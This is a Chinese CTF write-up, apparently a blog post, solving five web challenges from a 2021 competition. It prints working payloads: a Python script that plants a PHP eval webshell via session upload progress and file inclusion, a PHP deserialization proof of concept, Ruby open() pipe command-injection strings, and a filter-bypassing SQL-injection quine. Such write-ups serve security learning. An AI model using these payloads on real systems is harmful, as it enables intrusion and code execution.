2021第五空间webakwp

前言

挺傻逼的,5道web题全是静态靶机,三道rce题,不知道主办方咋想的。
附一张图
在这里插入图片描述
不过也算是ak了web 总体感觉还不错
在这里插入图片描述

webftp

这题就要说到搅屎的问题了,我直接扫路径扫到1.txt看到flag,大概是哪位大师傅放的
在这里插入图片描述
赛后跟别的师傅聊了一下,预期解是github上能下载源码然后看就行。

EasyCleanup

源码逻辑很简单,给了phpinfo和任意文件包含请添加图片描述
这里的 session.upload_progress.cleanup 是off的,不会自动清除session文件
那直接传PHPSESSID然后包含就行,都不需要条件竞争。
exp

import io
import requests
import threading

sessid = 'aa'
def write_session(session):
    url = 'http://114.115.134.72:32770/index.php'
    f = io.BytesIO(b'a' * 1024 * 50)
    resp = session.post( 'http://127.0.0.1/session.php?file=/tmp/sess_'+sessid, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('fmyyy.txt',f)}, cookies={'PHPSESSID': sessid} )


if __name__ == '__main__':
    with requests.session() as session:
        write_session(session)

然后包含/tmp/sess_aa传命令即可请添加图片描述

pklovecloud

简单的反序列化
poc

<?php
class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    public function __construct(){
        $this->neutron = '';
        $this->nova = '' ;
        $this->cinder = new ace();
    }
}
class ace
{
    public $filename;
    public $openstack;
    public $docker;
    public function __construct(){
        $this->filename = 'flag.php';
        $this->docker = 'O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3Bs%3A7%3A%22neutron%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22nova%22%3Bs%3A0%3A%22%22%3B%7D';//上一个poc的结果
    }

}

$A = new acp();
echo urlencode(serialize($A));

之后源码找flag

PNG图片转换器

这里利用了ruby的open函数能造成命令执行的特性
open函数是借用系统命令来打开文件,且没用过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。

管道字符“|”开头,执行管道字符后面的命令
原题传文件,获得唯一文件名,然后读取文件的base64编码。在读取这里
在这里插入图片描述
file可控,但得满足上面的条件,这个限制也不是很严格
上传两张图片记住文件名
在/convernt处
第一步
file=|echo "Y2F0IC8q"|base64 -d > 0784368baeb4d0a58b04309f20df6f2e.png
Y2F0IC8q是cat /*的base64
第二步
file=|sh 0784368baeb4d0a58b04309f20df6f2e.png>405391431ca1ac9b33f35add1f4ef55c.png
之后读
405391431ca1ac9b33f35add1f4ef55c.png拿到flag base64解码即可
请添加图片描述

补充

赛后跟feng师傅聊了一下 发现不用这么麻烦,在上传处即可命令执行
在这里插入图片描述
可以看到,加密的参数是file[filename]但open的参数file[tempfile]是可控的 所以直接
在这里插入图片描述
再读这个文件即可

yet_another_mysql_injection

能时间盲注,但数据库里啥也没有
再看逻辑,

    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    die($FLAG);
    } 

就是查询语句要和查询结果一样就可以了
这篇文章很详细
https://www.shysecurity.com/post/20140705-SQLi-Quine
原文的payload改一下能用
原文的
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine
本题有过滤,且是注入,所以得改一下

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

更改后的:
username=admin&password='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#',CHAR(34),CHAR(39)),CHAR(63),'"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#')/**/AS/**/a#
直接打就行
请添加图片描述

总结

企业组第十三,,akweb的队伍很多,主要还是靠队友的misc re和密码才拿到这个名次,又被队友带飞了

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值